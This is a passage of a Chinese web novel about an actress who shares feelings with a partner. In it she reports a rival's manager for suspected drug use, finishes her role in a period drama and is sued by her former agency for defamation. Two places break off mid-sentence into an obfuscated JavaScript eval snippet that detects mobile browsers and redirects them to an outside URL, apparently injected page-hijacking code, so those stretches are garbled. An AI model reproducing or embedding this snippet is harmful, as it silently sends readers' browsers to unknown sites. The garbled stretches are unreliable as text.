“朋友就应该互相帮助啊!不管是亲人还是朋友,肯定要竭尽所能能帮就帮啊!” 应璋觉得柏临渊在偷换概念,话是这么说没错,但是他做的也太超过了。 这种感觉就像是去饭店吃饭,花钱点菜是正常的,但是让厨子一边做菜一边传授菜谱就很奇怪了。柏临渊的认知配上他的做法,和花钱让厨子传授菜谱有什么区别? 应璋隐隐觉得不对劲:“谁教你这么想的?” “我很有用,对吧?”柏临渊没有回答,看向应璋的眼睛里带着某种不自觉的迫切,像是急着寻求什么认同一样,“我是有用的,对不对?” “当然了,你超级有用。” 一连两个问题带着慌张和恐惧一起砸来,应璋感受着身体传来的情绪,在心底默默叹息。 也不知道这人从小被教了什么,怎么养出这种认知。在片场的时候应璋原想着回来跟他仔细聊聊的,但是感受到这份情绪后,她觉得现在或许并不是聊这个话题的好时机。 在伤疤还没愈合的时候,指着问疤是哪来的,不仅残忍,还会妨碍伤口愈合。 应璋回忆着两人相处的过往,开始一个人扮演夸夸群:“你可以把房间打理的井井有条,细心又有条理、做饭也很有一手,堪比中华小当家、在学术方面也是佼佼者……这些可都是一般人做不来的,至少我做不来。” 柏临渊眼睛亮亮的盯着应璋,像是幼儿园得了老师小红花的小孩子。 “但是有用不代表要被利用。”应璋擦擦手,拿起一旁的外套披在柏临渊身上,“无底线的付出和讨好会让自己受伤的,你以前在面对导师和同门时也是这样吧?” “言语之前不自觉地透露出‘我很有用,快来使用我’的信息,有没有考虑过,对方不是好人呢?” 柏临渊抿着嘴,头低低的,发顶上小小的旋在灯光的映射下格外显眼。 “你肯定是好人!” 冷不丁的一声反抗把应璋气笑了,这该死的、圣父一般的付出型人格!她和他拼了! 捏着柏临渊的腮帮子,应璋对上了他的眼睛,表情看起来有点凶:“你以后做什么事之前和我打申请,我批准了才能做,听明白了吗?” 柏临渊心虚的挪开视线,盯着应璋的耳垂小声应道:“听明白了。” “躲什么?”应璋手虚虚扶在柏临渊颊侧,逼着他和她对视,“我们可是共感,你要是随便答应什么,累的不仅是你,还有我,懂?” “懂了,以后我都会和你商量。”柏临渊这才不再闪躲,乖巧应声。 应璋满意地松开手。 对于这种认知奇怪情绪还敏感的人,道理是讲不通的,比起费口舌去劝他改变自己的认知,不如具体带他去做。 拒绝这种事很爽的,多拒绝几次习惯了就好。养一个新习惯可比改变旧认知简单的多。 应璋的本意是好的,替不会拒绝习惯讨好的柏临渊大胆说“不”,但没想到凭此拿下了家里大小事务的全部话语权,不过这些都是后话了。 短暂地休息过后,应璋又投入了忙碌的拍摄任务中。如果说网剧是那种一天大几十集的高强度,那么大导就是一组镜头几遍十几遍地高重复,前一个是累身,后一个是累身又累心。 应璋现在每天一进片场就神经紧绷,生怕她拖后腿,延缓了拍摄进度。 偏偏此前导演为了磨她的演技,把相对轻松的动作戏都放在了前面拍。面对台词大段大段的文戏,应璋真的很想问问编剧老师,她一个小角色真的配这么多台词吗? 毕业好几年,突然又找到了高中背课文的感觉了。 应璋打小就不擅长背东西,大致复述还行,一字不落地还原就很难了。每天剧本一合就是“什么冬梅”,只能拉着柏临渊一遍又一遍的磨。 没办法,如果不想在全剧组面前像背课文一样声音平平语速均衡的念台词,就得提前练习。最起码要练到带感情地背出来时,舌头不会和牙齿打架。 这天拍摄的戏份要在影视城取景,应璋早早地就来到了片场。 最近柏临渊的案子有了新进展,每天跟在黎律身边讨论案情相关内容。剧组这边赶进度,应璋也不好请假,只能委托黎律帮忙照顾。 好在黎律虽然性格独特了一些,但为人处世还是非常靠谱的。即使柏临渊脱离了应璋的视线,她也不怎么担心,只用按时打电话提醒他吃饭吃药就好。 影视城面积极大,《宣熙》剧组今天的拍摄场地主要集中在皇宫这里。 围观了前辈大腕们拍了半天戏,应璋瞄了下时间,准备出去把饭热一下,顺便给柏临渊打个视频确认一下他有没有好好吃饭。 剧组这边没有热饭的地方,应璋问了场务,要穿过一个花园找到门卫亭才有微波炉可以用。 花园是各大剧组取景的热门地点,三步便是亭台楼阁,五步便有假山池塘。为了不打扰其他人的拍摄,应璋挑拣着没有标识又靠边的小路慢慢绕着往外走。 途经一处连廊时,应璋注意到了里面的热闹——一群人簇拥在一个女人身边,像是工蜂在朝见他们的女王。 女王靠在沙发椅上,身后有个瘦瘦高高的人在帮她捏肩,身侧也围了三四个人,一个半蹲着维持着和她耳朵齐平高度捧着剧本在读,一个举着水杯和咖啡随时待命,一个叉着水果小心投喂,还有一个蹲在脚边帮她换鞋。 除此以外,还有一个穿着导演马甲的男人,半弯着腰小声说着什么。 好大的气派! 应璋咋舌,并不打算深入这片是非,脚下一转就出了连廊,打算从前面的花圃小路绕过去。 离得近了,男人的声音隐隐传了出来。 “媛媛,再拍一条吧……替身走过了,只用十分钟……不,五分钟就能拍完……” “这次咱们不保一条了,就一遍过,怎么样?” “……” 能说出这种话的要么是导演组的,要么是艺人经纪人。应璋被这离谱发言震撼到了,下意识转头看了过去,发现这个众星捧月的居然是老熟人——吕媛。 要不是今天碰到了,应璋都要记不清这个女人了。 自从被《风月渡》剧组打包踢走,应璋就没再关注过这个剧组的任何事情了。倒是莫伊倪,时不时去追一下最新消息,然后跟应璋汇报一下该剧并无任何进展,仍未播出之类的消息。 冷不丁看到半生不熟的人在这里小牌大耍,感觉有点微妙。 一众大咖在陈继忠的剧组里低调工作,就连咖位最大的视帝也就带了三个助理。而吕媛身前身后至少围了十几个工作人员,众人被取暖器的红光映得一片红红火火,看得路人恍恍惚惚。 翻出手机看了一下时间,应璋懒得掺和烂人烂事,迈开步子就想加速离开。 只是刚走没几步,就被人拦住了。 “你——哪来的?手机拿过来我检查一下!” 应璋:? 微微后撤躲开了不知道从哪突然伸出来的抢手机的一只手,应璋顺着看过去,只看见一个装扮浮夸像变装皇后一样的细麻杆、 “你谁啊?”应璋皱眉,悄悄往后退了两步。 这人长得丑就算了,香水喷得还特别浓,呛得她眼睛难受。 “你不认识我?”细麻杆两眼一瞪,干瘪的脸上两只眼球鼓鼓囊囊的,看起来摇摇欲坠,“我可是吕媛的经纪人!你竟然不认识我?” “……” 且先不说吕媛并不算什么顶流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795844|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大咖,就算吕媛声名远扬,是个人就应该认识吕媛的经纪人吗? “神经。”翻了个白眼,应璋抬腿就走。 细麻杆急眼:“你不许走!导演~有人偷拍我们媛媛~” 一句话捏着嗓子喊出十八个弯,恶心的应璋鸡皮疙瘩起立列队。 “谁偷拍你们了?能不能照照镜子?”应璋被他的自信和无耻震撼了,“再乱叫我报警了!” “报警?我还要起诉你侵犯我们媛媛肖像权呢!”细麻杆以为应璋的后退是怕了他,得意地欺身逼近,“你身份证给我看一下,我这就找人起诉你!” 随着距离的拉进,一股甜腻得让人作呕的气味扑面而来,亢奋的五官几乎怼到应璋身上。 看着周围逼近的人群,应璋叹了口气,小跑两步登着墙壁翻上墙头,反手拨通了报警电话——“喂,警察同志您好,我怀疑影视城有人吸·毒。” 挂了电话,应璋头疼地看着下面上窜下跳的众人,掏出手机给柏临渊发起了消息。 应璋:【滴滴滴滴滴滴!查饭!速速把你的午餐发过来给我检查一番!】 柏临渊:【等下,刚出电梯,还没到餐厅。】 柏临渊:[图片] 应璋顺手点开,是柏临渊在电梯门前的自拍,角度奇怪,背景纷乱,隐隐可以看到黎律在对着大门扣鼻子。 这是什么饭前节食环节! 应璋又叮嘱了几句,等到看到柏临渊的吃饭视频,这才放下心来,有心思看看脚下的乱象。 墙下的众人又骂又叫,吵得应璋头大。除了依旧事不关己安坐躺椅的吕媛,其他十几号人在细麻杆的号召下把应璋脚下的空地围了个水泄不通。 好在影视城的警务站不少,没过多久警察局就赶了过来。 “是谁报的警?” “警察叔叔!有人偷拍我家艺人!” 警察刚一露面,细麻杆就恶人先告状起来。 “您好,是我报的警。”应璋从墙头跳下来,排过众人走到警察身边,指着细麻杆道,“他情绪特别亢奋,身上的味道也怪怪的,我怀疑他吸·毒了。” 警察闻言细细打量了一番,发现还真是。 影视城鱼龙混杂,警察们见过的花花比这群人经历的还要多,当下就把人给拷起来了。 周围围观的众人也没能幸免于难,有一个是一个,都被叫去问话了。 应璋原以为警察只会带走细麻杆,再叫她做个笔录,没想到阵仗这么大,弄得她也有点慌了。 “同志打扰一下,我等下还有工作,笔录能不能就在这里做啊?” “也行。” 警察刚打完摇人电话,这会正好没什么事,就拉过同事一起做起了笔录。 第一个做完笔录的应璋很快就被放走了,等她热完饭再回到片场时,群聊已经炸了。 【哦莫哦莫哦莫!刚刚有剧组被警察抓走了!】 【听说有人报警,说隔壁剧组聚众吸·毒!】 【来了好多警察,抓了几十号人,隔壁剧组直接停摆了!】 【好抽象,怎么大白天都不消停?不工作了吗?】 【隔壁组都有谁?怎么感觉没几个认识的?】 【人还挺多的,但都是流量,我分不出来谁是谁。】 【笑得,我也分不出来。】 【蹲一个蓝底白字。】 【我们这里应该没有吧?不敢想象谁会在陈导的眼皮子底下违法乱纪。】 应璋挠头,群里的消息一条条地往外冒,她也不敢现身说法,只能小跑着去找导演坦白从宽了。 “……然后我就回来吃饭了。” 陈导和李编看着面前老实乖巧的小姑娘,两个加起来一百多岁的人你看看我,我看看你,显然没有想到热个饭能热出这种热闹。 应璋小心观察着两人的神色,等待着导演的审判。 “他真的吸了吗?”李编放下杯子,好奇追问起来,“你怎么分辨出来的?” 应璋其实也不太确定:“应该是吸了吧?我之前在警察局遇到过,味道又臭又特别,还挺好认的。” 陈导摇头叹气:“隔壁那个组幺蛾子才多呢,演员不好好拍戏,工作人员封建复辟,你以后少跟他们接触。” “确实,不过像他们这样的剧组挺多的,影视城一抓一大把。”李编点了点头,抽出两张纸递了过去,“你串串词,这个是新改的,明天拍这个。” “回头再串,先熟悉一下等会要拍的,再有两场就是你的戏了。”陈导赶紧拦住,模样看起来像极了怕女儿学坏的老父亲。 应璋瞄了一下飞页上的字号,觉得事情看起来似乎不太妙。 看来今晚要点灯熬油背台词了。 共感为什么不能共享一下脑子?她真的真的真的非常需要一个脑子来帮她记台词! 41. 名誉 应璋在《宣熙》里的戏份并不多,等后期做演员表的时候,名字都不一定能出现在演员表的第二页上。 如果后期老师字号放大一点,她说不定能蹭个第三页尾巴。 随着时间的推进,应璋在剧组的戏份渐渐走向尾声,现在拍的就是当初应璋试戏的那幕戏——李飞元劝说皇子熙拒绝出兵北境。 镜头里,陈峰穿着一身半旧不新的蟒袍,看起来颇有几分穷途末路的味道。 为了这场戏,陈峰最近有意控制自己的饮食,再加上造型师的装扮,现在整个人颧骨高耸,衣衫肥大,平静颓唐的外表下隐藏着压抑不住的疯狂。 “伯远,你也要拦我?” 虽然陈峰在讲台词,但除了嘴,其他地方几乎没有任何动作。似乎他脸上每一块肌肉都是绷着的,像一把张到极致的弓,不用台词也能感受到他的紧绷。 “陈峰这演技……”李编咂咂嘴,很是感慨,“不愧是三金视帝,往那一站活脱脱就是皇子熙啊!小应估计要接不上戏了……” 陈导没有说话,但他显然也是这么想的。不管是全景还是特写相机,几乎都把镜头对准了陈峰,画面的中心也是他。 应璋蹙着眉,表情不大,但是情绪却很饱满:“殿下,我不该拦吗?” 应璋的声音平静,还带着臣子对君主的尊重,但贲起的咬肌和用力到关节泛白的指节还是暴露出主人的愤怒。 陈导冲摄影打了个手势,示意特写推进。 试镜时应璋的演技还像戏剧一般夸张,而现在她已经学会了收敛,通过调动肌肉、调整表情,用更小、更真实地表演去诠释人物内核。 “您是皇子,是王,是继承人,也是千百人身家性命所系之人。” 应璋一边说台词,一边逼近陈峰:“现在您要犯险,我不该拦吗?” 应璋身材本就高挑,加上服装老师塞的增高垫,看起来与陈峰的身量相差不大。如果算上头冠的话,竟隐隐有反超之势。 借助外形上的便宜,应璋在表演时气势也更足了,加之比陈峰更外放的表演,一时竟也没有落于下乘,镜头里也有了存在感。 “那你让本王怎么办?”陈峰嘴角下压,眼睛半睁着,愤怒压着含着不露声色,只在字里行间才能感受到他的怒和怨,“本王不去便能护住这些人了吗?” 陈峰攥着手上的扳指,重重地拍在桌上,声音带着破釜沉舟的决绝:“不争就是死,本王绝不会坐以待毙!” 一直压抑的情绪在此刻突然爆发,整个片场的氛围突然变得凝重起来,候场的工作人员隐隐的说话声和嬉笑声也不见了,偌大的空间里只余设备运作的嗡鸣。 李编有些担忧地看着应璋。 经过陈峰的层层铺垫,此时的情绪爆发犹如山洪决堤,呼啸奔袭荡涤着面前的一切。 直面情绪的应璋是整个片场感受最深的,毕竟她才是陈峰的对手戏演员。特写镜头慢慢推进,但应璋完全没有注意到,昂首扬眉,像是等待冷水淬炼的钢,直挺挺地迎了上去。 “殿下从未出过中原,拿什么争?” 这段台词极长,李编在试镜剧本的基础上又加了不少内容进去。但应璋念得极为流畅,情绪饱满语气适宜,听得陈导不住点头,想来这段时间的苦练颇有成效。 君臣二人针锋相对,为解当前困局唇枪舌战。 不知道是不是之前试戏拍过这部分的原因,应璋在拍这段戏的时候情绪和状态都特别好,不仅接住陈峰的戏,还一遍过了。 陈导拉着老友,细细地过了一遍所有的镜头,满意地招呼应璋过来补拍:“小应来,等下这里,还有这里咱们再补两组镜头,情绪可以再收一些,李飞元是臣子,为臣者的内敛和谦卑还是要有的。” 应璋点头,在等待灯光摄影调整的空隙补了下妆,很快便进入拍摄状态。 收着表演和面无表情表演是两回事,就像高冷和面瘫不能混为一谈一样。这两组镜头应璋被按着拍了□□次,导演才满意地喊了停。 这几场戏拍完,应璋就剩最后一场杀青戏,拍完就可以收工了。 原本的拍摄计划里,李飞元病发下线是安排在下周拍的,但陈导和李编都觉得应璋这会状态好,拉上陈峰和应璋,几人一番商量后,陈导直接拍板——“小应去改妆,晚上把李飞元的最后一场戏给拍了!” 这个突然的决定让剧组上上下下都忙碌了起来。 原始剧本中李编给李飞元安排的结局是战场上受伤不久便死于阵前,但经过了这段时间的磨合,无论是陈导还是李编都觉得这样的安排不够有戏剧冲突,于是两人商量了好几天,把战场战死改为内斗而死。 反正史书上查不到李飞元的具体死因,改了也不怕被人指着骂。 骁勇善战的战神没有死在与异族搏斗的战场上,而是陨落于内斗的鬼蜮伎俩里。这样的安排不仅富有戏剧冲突,而且也更能展示朝局的混乱。 前面混战受伤的动作戏部分已经在拍外景的时候都拍完了,现在应璋只用躺在床上演一个重伤垂死的病人。 这段剧情发生在夜间,为了追求视觉效果,陈导要求灯光组撤了绝大部分的灯光,只留一盏度数不太高的大灯用来补光,其余的光源则是通过烛火来补充。 老皇帝病逝前,整个都城都乱了套。李飞元为了保护皇子熙一直冲在第一线,而众势力也对这个战无不胜的战神颇为忌惮,手段伎俩层出不穷。 李飞元在尸山血海中护住了他效忠的君主,却没能护住自己。 新伤牵动沉疴,再加上小人的阴毒算计,这一战过后,李飞元病体难支,生命也即将走到尽头。 应璋没有得过重病,但是她挨过饿,也在医院见过不少重症病人,即使拿捏不准弥留之际的确切状态,多少也能演出几分模样。 场记打板之后,半靠在床上的应璋缓缓睁开眼睛。病重的人眼神应该是失焦的,应璋没有看向镜头,而是很空茫地看向身前,良久才有了几分神采。 “是殿下来了吗?” 应璋刚一张口,就被导演喊了停。 “cut!”陈导喊来场务,“中午那个死咸死咸的烧鸡还在吗?给小应吃两块!” 应璋:??? “你的台词不够涩,吃咸点渴了就涩了。”陈导笑眯眯地说出残忍的话,“只给烧鸡不许喂水啊!” 想起中午那只打死卖盐的烧鸡,应璋就觉得头皮发麻。硬着头皮吃了两大块,嘴唇都被齁咸的鸡肉咸得干涩麻木起来。 “好,忍住别舔嘴!”陈导对烧鸡的奇效非常满意,“化妆师,给小应的嘴多抹点粉底,弄得干干病病的!” 把美人画得这么糙,化妆师已经很过意不去了,现在听了导演的要求,顿时吃惊地瞪大双眼:“啊?可是这样很难看啊……” “小应这骨相再难看能难看到哪去?”导演挥手,很是不以为然,“把她眼角的眼睛擦了,怎么那么红?” “可是我今天没给应老师画眼妆啊……”化妆师提着化妆箱很是疑惑。 “可能是咸的吧。”应璋揉了揉眼睛,声音又干又涩。 “那我用阴影遮一下……” 化妆师忙活起来,不多时,病美人就变成了病入膏肓的人。 陈导满意了:“各部门注意,再来!” 应璋调整好表情,抬眼看向进门的人:“是殿下来了吗?” “是孤。”陈峰一掀衣摆,大步流星地走了进来,“伯远,孤已经着人去寻天下名医了,你再坚持一下。” 此时的皇子熙即将成为这片江山的主人,但一路助他前行的人已经所剩无几,就连他最信重的李伯远也毒入心脾,恐不久于人世。 此刻的皇子熙不再是那个雄心勃勃的郡王,而是一个恐惧亲故离去的普通人。 “殿下不必为伯远伤怀……” 应璋声音干涩,在厚重粉底的加持下,张嘴说话并不算太容易,更何况她刚吃了盐渍烧鸡,此刻嗓子渴的都要冒烟了。就算不演都虚三分,她再控制一下语气和情绪,声音便十足十地虚弱起来。 “很多次,我都以为自己会死在战场上……只是北境的战场没能要了我的命,反而是这深宫的暗箭……咳咳……” 应璋说着台词,咬破了嘴里的血浆,殷红的浆液伴着剧烈的咳嗽喷出,看得人触目惊心。 “伯远!”陈峰一个箭步拖住应璋的后背,转身怒吼起来,“太医!宣太医!孤派来轮值的太医呢!” “不……”应璋边咳边虚弱地抓住陈峰扶着她的胳膊,轻轻摇了摇头,“臣的时间不多了……还有一心事未了……” “不会的!孤会为你找来最好的大夫!”陈峰的声音都在抖,满目沉痛,比起上位者,此刻的他看起来更像是一个挽留不住友人的失意者,“孤不会让你死的!” “臣死后,北境必定会撕毁盟约……殿下不可放任胡蛮狼子野心……西北大军多良将,还望殿下知人善用,重收失地……” “孤……我答应你!我一定会收复北境三洲!”陈峰深呼吸憋回即将盈出的湿润,眼眶通红,眼球血丝暴起,嘴唇不受控制地颤抖着,“伯远,你要帮我,你不能在这倒下!” 医官匆匆赶到,刚搭上脉便面色巨变。 “绝脉!” 拦住暴怒的皇子熙,昔日中气十足的小将军此刻声音轻得像是气音:“不要为难他了,我只能撑到这里了……” 李飞元在皇子熙的手上咽了气。 “cut!”陈导带头鼓起掌来,“恭喜小应杀青!” 应璋一骨碌爬起来,一边抹嘴上的血浆,一边求救:“水——我要咸死了——” 周围人发出善意的哄笑,场务小跑着送水过来。应璋拧开瓶子一口气喝了大半,这才缓过来,翻身爬下床向周围鼓掌的众人鞠躬致谢。 “来来来,拿着红包晚上回去洗洗澡,好好休息一下。”陈导递上红包,笑容和熙,“今天发挥得很好!” “还是导儿您教的好!” 应璋双手接过红包,谢过导演后,笑嘻嘻地道谢大点兵,把给她上过名师小班课的一众大腕一一谢了一遍。 众人又在片场热热闹闹了好一阵,才收工各自散去。 应璋回到酒店的时候天都快亮了,拍摄前灌下去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825453|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那杯咖啡此时还在持续发力。又累又清醒的她决定先玩会手机,玩着玩着很快就能睡着了! 只是大数据显然有它自己的想法。 起初推送的都是可爱的小猫小狗。 渐渐小猫小狗身边多了一些穿着清凉的人。 最后首页上就只剩各类菩萨了。 应璋看着屏幕上各路装清凉神情妩媚的身影,看着被子下空荡荡的某处,不由长叹一口气——她又没长,给她推送这些又有什么用呢? 咂咂嘴,应璋有了个大胆的想法。 她确实没长,但是成年人看点爱情动作片应该不过分吧?看看别人的也好嘛! 就在她悄咪咪地研究去哪找资源时,一个电话突然打了过来,来电是婺州市人民法院。 应璋:!!!!! 青天大老爷,她只是想探索一下成人世界,她这还没探索成功呢!怎么就有法警顺着网线找到她了? 应璋战战兢兢地接了电话,然后整个人都被气清醒了——铃戏这个垃圾公司把她告了!说她侵犯了铃戏的名誉权! 不是,满脑子龌龊思想,就会用下作手段折腾艺人的公司,哪里来的名誉权? 虽然应璋当时在网络上说的都是真实的,也没有造谣诽谤,但是名誉权这个东西,被告基本很难赢。哪怕被告所说字字句句都属实,但在网络上对方的脏事拿出来说,大概率都会被判侵犯名誉权的。 应璋气乐了,合着这就是“我可以不道德,但是你不能讲我不道德”是吧? 熬了大夜情绪起伏又大,一套连招下来应璋的心跳如擂鼓,整个人头晕目眩的,几乎看不清眼前的事物。 天旋地转中,手机铃声又一次响起,应璋摸索着接通电话,柏临渊的声音从对面传来。 “你是不是不舒服?” 应璋一时间没能反应过来,柏临渊在电话那头重复了好几遍,应璋才理解了对方的话。 “可能是熬夜熬狠了,昨天赶戏喝的咖啡有点多……” “没事,先别慌。” 柏临渊的声音不疾不徐,像溪流一样从听筒流出。 “我这边感受不太明显,应该不是很严重,来,深呼吸,吸气,把肺打开……好,现在慢慢吐气,把所有的气流从嘴巴吐出去……” 应璋跟着柏临渊的指令调整着呼吸,心跳渐渐正常了起来。 “能起身吗?”柏临渊轻声询问道,“床头应该有我给你放的电解质饮料,能打开吗?先喝几口缓一缓。” 应璋眯着眼睛看向床头柜,隐约看到了一些蓝白相间的条状物,摸索着够到手里,凑近端详一下,确实是电解质饮料。 “找到了,有的。” 咚咚咚灌了好几口后,耳鸣的症状减轻了不少,手也没有刚才那么抖了。 “别喝太多,凉,回头你胃该不舒服了。”柏临渊叹气,“我还有二十分钟左右到,你躺着歇一会,我给你烧水煲汤。” “你怎么回来了?”应璋下意识反问起来,“你最近不是在和黎律忙官司?” “昨天开庭,已经结束了。”柏临渊声音带笑,“怕打扰你拍戏就没和你讲。” “怎么样?”应璋半直起身子,有些急切的追问起来,“你怎么什么都不和我说啊?昨天问你你还说要等……” “你最近戏份重,好不容易进入状态,怎么好拿这种事让你分心?”柏临渊一边在买菜软件上挑选着食材,一边温声回答,“黎律说胜诉的可能性很大,最起码名誉权这边是没问题的。” “名誉权啊……” 听着这几个字,应璋忍不住咬牙。 柏临渊隐隐察觉到应璋的情绪不太对劲,但是也搞不清到底是哪里不对劲:“怎么了?你不高兴了?” “对啊!”应璋觉得她刚刚语气确实不善,硬说高兴未免太牵强了一些,“我这差不多是一天三段的视频电话,结果有人闷不作声地把官司都打完了……” 柏临渊理亏,只能转移话题:“有什么想吃的吗?我在买菜……” 应璋也很配合,两人又聊了一会才挂断电话。 说来也奇怪,一个电话过后,应璋身体上不适的症状已经缓解得差不多了。 不知道是深呼吸的帮助、还是电解质饮料的功劳,亦或是柏临渊心理疏导的作用,总之现在应璋除了手脚有点软之外,其他都挺正常的。 缓过神来,工作又告一段落的应璋翻出聊天页面,一边和黎律说明情况,一边和莫伊倪吐槽铃戏不做人的离谱操作。 应璋前脚把消息编辑好发出去,莫伊倪的语音后脚就轰炸了过来—— 【璋宝!我可怜的宝!!】 【这天杀的铃戏公司!我要告到中央!!!】 应璋刚听了两条,莫伊倪的电话就拨了过来,显得是气得不轻有话要讲。 只是这个语音电话刚一接通,听筒里就传来挂断的提示音。 什么情况? 应璋以为是她不小心碰到哪里,正想着给莫伊倪拨回去,就看到屏幕上探出一串感叹号。 【啊啊啊啊啊!铃戏也告我侵犯名誉权了!!!!!】